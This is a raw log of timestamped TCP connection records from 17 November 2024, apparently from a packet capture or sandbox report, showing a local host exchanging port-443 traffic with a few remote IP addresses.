Nov 17, 2024 12:35:34.619482994 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.619505882 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.619573116 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.619688988 CET	49846	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.619710922 CET	443	49846	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.620970964 CET	49848	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.620990992 CET	443	49848	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.621049881 CET	49848	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.621195078 CET	49848	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.621208906 CET	443	49848	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.621401072 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.621424913 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.622576952 CET	49849	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.622611046 CET	443	49849	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.622967958 CET	49849	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.623099089 CET	49849	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.623114109 CET	443	49849	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.623709917 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.623718977 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.623789072 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.624152899 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.624166012 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.353857994 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.355112076 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.355163097 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.355618000 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.355633974 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.356412888 CET	443	49849	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.356725931 CET	49849	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.356741905 CET	443	49849	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.357145071 CET	49849	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.357151031 CET	443	49849	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.362713099 CET	443	49846	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.362940073 CET	443	49848	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.363720894 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.363862038 CET	49846	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.363900900 CET	443	49846	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.364413977 CET	49846	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.364423037 CET	443	49846	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.369402885 CET	49848	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.369436026 CET	443	49848	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.369570017 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.369616032 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.369823933 CET	49848	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.369834900 CET	443	49848	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.370017052 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.370028973 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.482423067 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.482517958 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.482598066 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.487605095 CET	443	49849	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.487683058 CET	443	49849	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.487808943 CET	443	49849	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.487871885 CET	49849	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.492561102 CET	443	49846	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.492636919 CET	443	49846	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.492693901 CET	49846	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.498867035 CET	443	49848	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.498943090 CET	443	49848	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.499010086 CET	49848	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.499963999 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.500056028 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.500142097 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.502753019 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.502810955 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.502844095 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.502861023 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.505321980 CET	49848	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.505321980 CET	49848	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.505340099 CET	443	49848	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.505362988 CET	443	49848	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.506256104 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.506275892 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.507147074 CET	49849	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.507165909 CET	443	49849	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.508018017 CET	49846	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.508043051 CET	443	49846	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.511923075 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.511965990 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.512087107 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.512460947 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.512475967 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.514317036 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.514352083 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.514429092 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.514548063 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.514564037 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.515197992 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.515208006 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.515470028 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.522208929 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.522226095 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.522384882 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.523065090 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.523088932 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.523197889 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.523797035 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.523816109 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.523933887 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.523947954 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:35.524024010 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:35.524035931 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.249699116 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.250191927 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.250210047 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.250767946 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.250771999 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.252855062 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.253247976 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.253281116 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.254409075 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.254416943 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.257107973 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.257755995 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.257755995 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.257776976 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.257786036 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.259409904 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.260061979 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.260061979 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.260073900 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.260083914 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.264482021 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.264789104 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.264812946 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.265115023 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.265120029 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.380283117 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.380372047 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.380446911 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.383025885 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.383059978 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.383115053 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.383161068 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.383161068 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.387343884 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.387403965 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.387510061 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.392333031 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.392421961 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.392539978 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.394253016 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.394278049 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.394289970 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.394295931 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.394377947 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.394377947 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.394393921 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.394407034 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.395404100 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.395404100 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.395412922 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.395423889 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.397608995 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.397660971 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.397716999 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.397780895 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.400834084 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.400846004 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.400985003 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.400995016 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.402112961 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.402122974 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.402143002 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.402147055 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.404123068 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.404166937 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.404227972 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.404542923 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.404563904 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.404860973 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.404898882 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.404988050 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.405158043 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.405174017 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.406296015 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.406326056 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.406379938 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.406495094 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.406508923 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.406589985 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.406605005 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.406676054 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.406773090 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.406786919 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.407608032 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.407639980 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.408442974 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.408633947 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.408647060 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.424314976 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.424340010 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.424484968 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.424771070 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:36.424788952 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:36.425956964 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:36.426042080 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:36.426131010 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:36.426305056 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:36.426342010 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.120026112 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:37.120085955 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:37.120157003 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:37.120429039 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:37.120443106 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:37.131537914 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.132051945 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.132083893 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.132730961 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.132735968 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.140922070 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.141381979 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.141429901 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.142129898 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.142155886 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.144958019 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.145543098 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.145566940 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.146265030 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.146271944 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.149039030 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.150142908 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.150608063 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.150634050 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.150862932 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.151237965 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.151256084 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.151621103 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.151710987 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.153343916 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.153402090 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.153719902 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.153727055 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.154134989 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.154143095 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.154963017 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.154985905 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.155632019 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.155685902 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.175095081 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.175633907 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.175654888 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.177122116 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.177212000 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.178617001 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.178709984 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.178823948 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.178833961 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.208312035 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.223519087 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.259198904 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.259259939 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.259530067 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.259604931 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.259618998 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.259629011 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.259634018 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.263676882 CET	49873	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.263696909 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.263849020 CET	49873	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.264009953 CET	49873	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.264019966 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.271711111 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.271784067 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.272177935 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.272269011 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.272269011 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.272311926 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.272341967 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.275032043 CET	49874	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.275063992 CET	443	49874	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.275178909 CET	49874	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.275588989 CET	49874	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.275603056 CET	443	49874	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.275890112 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.276063919 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.276110888 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.276182890 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.276345968 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.276345968 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.276366949 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.276376963 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.278748035 CET	49875	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.278770924 CET	443	49875	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.278851032 CET	49875	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.279066086 CET	49875	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.279077053 CET	443	49875	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.282170057 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.282326937 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.282375097 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.282387972 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.282406092 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.282469988 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.282488108 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.282546997 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.283679962 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.283689976 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.283700943 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.283706903 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.283740997 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.284173012 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.284173012 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.284197092 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.284219980 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.288068056 CET	49876	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.288085938 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.288089037 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.288124084 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.288167000 CET	49876	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.288186073 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.288413048 CET	49876	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.288427114 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.288621902 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.288638115 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.381439924 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.381458998 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.381465912 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.381511927 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.381519079 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.381551027 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.381580114 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.381589890 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.381599903 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.381599903 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.381623030 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.381643057 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.409110069 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.409152985 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.409162998 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.409194946 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.409209967 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.409220934 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.409230947 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.409241915 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.409269094 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.409287930 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.409296036 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.456302881 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.496752024 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.496774912 CET	443	49867	13.107.246.67	192.168.2.6
